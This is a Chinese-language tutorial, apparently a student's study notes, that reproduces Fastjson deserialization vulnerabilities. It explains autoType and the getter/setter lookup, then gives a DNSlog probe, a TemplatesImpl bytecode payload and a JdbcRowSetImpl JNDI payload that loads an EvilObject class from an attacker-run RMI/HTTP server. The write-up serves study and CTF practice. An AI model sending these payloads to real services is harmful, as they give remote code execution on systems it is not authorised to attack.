本文抄录自FastJson反序列化漏洞复现,有一些补充知识和解释。原文是Ec3o学长的文章,超级好懂❀
在本文章之前,强烈建议优先学习JNDI,JDBC的相关知识。
概述
  Fastjson是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Object序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object.
  Fastjson 提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。
- JSON.toJSONString:序列化
- JSON.parseObject/JSON.parse:反序列化
对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。
什么是JavaBean?
JavaBean是一种特殊的 Java 类,它符合一组标准的命名和设计规则,旨在便于使用和集成在各种 Java 应用程序中,尤其是在图形化界面构建工具和框架中。JavaBean 最常用于**数据传输对象 (DTO)**,通常作为简单的容器类,用于封装和传递数据。
  一般来说我们的Java Bean要有一个无参构造函数和一些私有的成员变量,附加一些公共的getter和setter方法来访问这些属性,也可以附带一些以isType设计的bool属性方法。
Serializable接口可选,用于实现反序列化.这样的一个Java Bean常常用于数据封装使用。
import java.io.Serializable;
public class User implements Serializable {
    private String name;
    private int age;
    // 无参构造器
    public User() {}
    // 带参构造器
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
    // Getter方法
    public String getName() {
        return name;
    }
    // Setter方法
    public void setName(String name) {
        this.name = name;
    }
    // Getter方法
    public int getAge() {
        return age;
    }
    // Setter方法
    public void setAge(int age) {
        this.age = age;
    }
    @Override
    public String toString() {
        return "User{name='" + name + "', age=" + age + "}";
    }
}
Fastjson中的序列化和反序列化
序列化:
String text = JSON.toJSONString(obj); 
反序列化:
VO vo = JSON.parse();  //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}");  //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class);  //JSON文本解析成VO.class类
  JsonObject和JsonArray是Fastjson内置的无害默认类,未指定解析的类以及json数组会被自动解析到该类上.对于类中private类型的属性值,Fastjson默认不会将其序列化和反序列化。
反序列化到对应的类
  fastjson中反序列化到对应的类有两种方法,一种是在parse的时候指定要解析到的类(上例中的第三个例子),一种是通过一种叫做@type的属性来自动反序列化到@type指定的类。
package org.example;
public class CTF {
    private String flag;
    private String team;
    private int ID;
    public CTF() {
    }
    public String getFlag() {
        return flag;
    }
    public void setFlag(String flag) {
        this.flag = flag;
    }
    public String getTeam() {
        return team;
    }
    public void setTeam(String team) {
        this.team = team;
    }
    public int getID() {
        return ID;
    }
    public void setID(int ID) {
        this.ID = ID;
    }
}
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.example.CTF;
public class Fastjson_Test {
    public static void main(String[] args) {
        CTF ctf = new CTF();
        ctf.setTeam("Faster");
        ctf.setID(1);
        ctf.setFlag("flag{test}"); 		                                                       System.out.println(JSON.toJSONString(ctf,SerializerFeature.WriteClassName));
    }
}
// SerializerFeature用于控制序列化的细节,这里的writeClassName是用来把类名也包含在序列化后字符串中的设定。
输出:
{"@type":"org.example.CTF","flag":"flag{test}","iD":1,"team":"Faster"}
可见,Fastjson在JSON字符串中添加了一个@type字段,用于标识对象所属的类。
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson_Test {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().addAccept("org.example.");
        String JSON_CTF = "{\"@type\":\"org.example.CTF\",\"flag\":\"flag{test}\",\"iD\":1,\"team\":\"Faster\"}";
        System.out.println(JSON.parseObject(JSON_CTF, CTF.class));
    }
}
// 设定ParserConfig避免报autoType is not support.,也就是添加autoType白名单。
输出:
org.example.CTF@7e32c033
Fastjson反序列化流程分析
一个bean的属性只能通过getter和setter来进行设定,我们不难猜测在反序列化的过程中会调用指定类的setter来进行属性赋值。
修改一个我们要指定的反序列化的类的setter和getter,让它进行最直观的操作——弹计算器和任务管理器。
package org.example;
import java.io.IOException;
public class Calc {
    public String calc;
    public Calc() {
        System.out.println("调用了构造函数");
    }
    public String getCalc() throws IOException {
        System.out.println("调用了getter");
        Runtime.getRuntime().exec("calc");
        return calc;
    }
    public void setCalc(String calc) throws IOException {
        this.calc = calc;
        Runtime.getRuntime().exec("taskmgr");
        System.out.println("调用了setter");
    }
}
 
事实证明在走序列化和反序列化的流程中都会调用目标类的Setter和Getter和构造函数,所以我们的目标就是找一个带有可控恶意参数的getter和setter或是构造函数来实现反序列化攻击。
  阅读源码发现,FastJson在通过@type获取类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取getter、setter方法。
setter的查找方式:
- 方法名长度大于4 
- 非静态方法 
- 返回值为void或当前类 
- 方法名以set开头 
- 参数个数为1 
getter的查找方式:
- 方法名长度大于等于4 
- 非静态方法 
- 以get开头且第4个字母为大写 
- 无传入参数 
- 返回值类型继承自 - Collection- Map- AtomicBoolean- AtomicInteger- AtomicLong
DnsLog探测
为了确定某个服务确实存在fastjson反序列化漏洞,首先应该进行试探性的探测,比如利用它来进行Dnslog探测。就直接拿final的题来试试吧:
@PostMapping({"/parse"})
    public String parseJson(@RequestBody String json) {
        Object obj = JSON.parseObject(json);
        return "Parsed: " + obj.getClass().getName();
    }
向/parse发送post,body如下:
{
  "a": {
    "@type": "java.net.Inet4Address",
    "val": "test.Your.dnslog.url"
  }
}
// 由于fastjson1.2.25及以上的版本的autotype默认为false,要套一层json来防止请求被拦
会得到响应:
Parsed: com.alibaba.fastjson.JSONObject
并且可以发现确实进行了一次DNS查询。
  InnetAddress类有一个getter方法,用于查询真实的IP地址,落到实处也就是进行了一次DNS查询,从而可以进行目标能否进行攻击的探测。
private static InetAddress[] getAddressesFromNameService(String host, InetAddress reqAddr)
    throws UnknownHostException
{
    InetAddress[] addresses = null;
    boolean success = false;
    UnknownHostException ex = null;
    if ((addresses = checkLookupTable(host)) == null) {
        try {
            for (NameService nameService : nameServices) { 
                try {
                    addresses = nameService.lookupAllHostAddr(host);
                    success = true;
                    break;
                } catch (UnknownHostException uhe) {
                    if (host.equalsIgnoreCase("localhost")) {
                        InetAddress[] local = new InetAddress[] { impl.loopbackAddress() };
                        addresses = local;
                        success = true;
                        break;
                    }
                    else {
                        addresses = unknown_array;
                        success = false;
                        ex = uhe;
                    }
                }
            }
            if (reqAddr != null && addresses.length > 1 && !addresses[0].equals(reqAddr)) {
                int i = 1;
                for (; i < addresses.length; i++) {
                    if (addresses[i].equals(reqAddr)) {
                        break;
                    }
                }
                if (i < addresses.length) {
                    InetAddress tmp, tmp2 = reqAddr;
                    for (int j = 0; j < i; j++) {
                        tmp = addresses[j];
                        addresses[j] = tmp2;
                        tmp2 = tmp;
                    }
                    addresses[i] = tmp2;
                }
            }
            cacheAddresses(host, addresses, success);
            if (!success && ex != null)
                throw ex;
        } finally {
            updateLookupTable(host);
        }
    }
    return addresses;
}
漏洞复现
Fastjson <= 1.2.24
TemplatesImpl利用链
Java 9 及后续版本的模块系统限制了对JDK内部模块的访问,因此不好进行攻击。下列代码在Java 8环境下复现
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类
TransletClassLoader,其中defineClass没有限制作用域,可以直接被外部调用。
static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;
     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }
    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }
    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}
  这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。
向前追溯的调用链如下:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
其中getOutputProperties属于getter方法,在fastjson里会被直接调用:
{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
        "<恶意字节码-base64>"
    ],
    "_name": "a.b",
    "_tfactory": {},
    "_outputProperties": {}
}
对于以上payload,给出以下解释:
- _tfactory:在调用- TemplatesImpl利用链时,- defineTransletClasses方法内部会通过- _tfactory属性调用一个- getExternalExtensionsMap方法,如果- _tfactory属性为- null则会抛出异常,无法根据- _bytecodes属性的内容加载并实例化恶意类
- _name:- getTransletInstance方法中判断- if (_name == null) return null;所以要给- _name赋值(String)
- _outputProperties:json数据在反序列化时会调用- TemplatesImpl类的- getOutputProperties方法触发利用链,可以理解为- _outputProperties属性的作用就是为了调用- getOutputProperties方法。
- 由于更改的一些 - TemplatesImpl私有变量没有- setter方法,需要使用- Feature.SupportNonPublicField参数(在反序列化执行函数中,请看后例)。也正是因此,- TemplatesImpl这条链的泛用性不强(
- fastjson在反序列化时,如果Field类型为 - byte[],将会调用- com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,对应的,在序列化时也会进行base64编码
恶意字节码就是写一个能弹计算器的类,编译成class然后把字节流再base64一下导出来。
shell命令:
base64 exp.class即可。
JdbcRowSetImpl利用链
private Connection connect() throws SQLException {
        // Get a JDBC connection.
        // First check for Connection handle object as such if
        // "this" initialized  using conn.
        if(conn != null) {
            return conn;
        } else if (getDataSourceName() != null) {
            // Connect using JNDI.
            try {
                Context ctx = new InitialContext();
                DataSource ds = (DataSource)ctx.lookup
                    (getDataSourceName());
                //return ds.getConnection(getUsername(),getPassword());
                if(getUsername() != null && !getUsername().equals("")) {
                     return ds.getConnection(getUsername(),getPassword());
                } else {
                     return ds.getConnection();
                }
            }
            catch (javax.naming.NamingException ex) {
                throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else if (getUrl() != null) {
            // Check only for getUrl() != null because
            // user, passwd can be null
            // Connect using the driver manager.
            return DriverManager.getConnection
                    (getUrl(), getUsername(), getPassword());
        }
        else {
            return null;
        }
    }
public String getDataSourceName() {
        return dataSource;
    }
重点关注第16行的
DataSource ds = (DataSource)ctx.lookup(getDataSourceName());以及getDataSourceName()函数.lookup函数可以触发JNDI的搜索,dataSource可控,则可以进行恶意JNDI的注入.
Connect方法里面调用了lookup方法,从这个类的dataSource变量获取URI,而这个URI我们是可控的.因此我们去看看哪里可以调用Connect方法:
public void setAutoCommit(boolean autoCommit) throws SQLException {
      if(conn != null) {
         conn.setAutoCommit(autoCommit);
      } else {
         conn = connect();
         conn.setAutoCommit(autoCommit);
      }
  }
  比较有意思的是这刚好是一个Setter方法,可以满足Fastjson触发的条件,并且数据源也可控.所以我们只需要反序列化一个JdbcRowSetImpl实例出来,设置它的dataSource属性就可以实现JNDI注入.
 
要注意的是JNDI注入对JDK版本号有限制,高版本JDKtrustURLCodebase变量默认设置为False.
public java.lang.Object lookup(Name name)
        throws NamingException {
            if (_nc == null)
                throw new ConfigurationException(
                    "Context does not have a corresponding NamingContext");
            if (name.size() == 0 )
                return this; // %%% should clone() so that env can be changed
            NameComponent[] path = CNNameParser.nameToCosName(name);
            java.lang.Object answer = null;
            try {
                answer = callResolve(path);
                try {
                    // Check whether object factory codebase is trusted
                    if (CorbaUtils.isObjectFactoryTrusted(answer)) {
                        answer = NamingManager.getObjectInstance(
                            answer, name, this, _env);
                    }
                } catch (NamingException e) {
                    throw e;
                } catch (Exception e) {
                    NamingException ne = new NamingException(
                        "problem generating object using object factory");
                    ne.setRootCause(e);
                    throw ne;
                }
            } catch (CannotProceedException cpe) {
                javax.naming.Context cctx = getContinuationContext(cpe);
                return cctx.lookup(cpe.getRemainingName());
            }
            return answer;
    }
public static boolean isObjectFactoryTrusted(Object obj)
        throws NamingException {
        // Extract Reference, if possible
        Reference ref = null;
        if (obj instanceof Reference) {
            ref = (Reference) obj;
        } else if (obj instanceof Referenceable) {
            ref = ((Referenceable)(obj)).getReference();
        }
        if (ref != null && ref.getFactoryClassLocation() != null &&
                !CNCtx.trustURLCodebase) {
            throw new ConfigurationException(
                "The object factory is untrusted. Set the system property" +
                " 'com.sun.jndi.cosnaming.object.trustURLCodebase' to 'true'.");
        }
        return true;
    }
这里关注
isObjectFactoryTrusted()函数,第44行处写明trustURLCodebase若为False则直接会抛出异常,而无法对传入的类实例化,也就无法攻击了(请看第15行的条件判断)
  确定能攻击后,接下来就是准备外部RMI/LDAP攻击源和发送Payload的事情.写一个简单的EvilObject.java,弹个计算器来验证代码执行:
import java.io.IOException;
public class EvilObject {
    public EvilObject() {
    }
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
使用javac编译成class,用python快速开启一个HTTP服务提供文件下载支持:
python -m http.server 8000
接下来是启动RMI服务器,这里用了一个快速便捷的Jar包,后面的参数是用来确定提供class的registry地址的,也可以加最后一个参数用来改变RMI端口号
payload则类似于:
{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://xxx.xxx.xxx.xxx:xxxx/EcilObject",
    "autoCommit": "true"
}
autoCommit属性设定了自动连接dataSourceName所指定的数据源进行连接.
注意java版本的可用性,在找现存的链子时要注意适用范围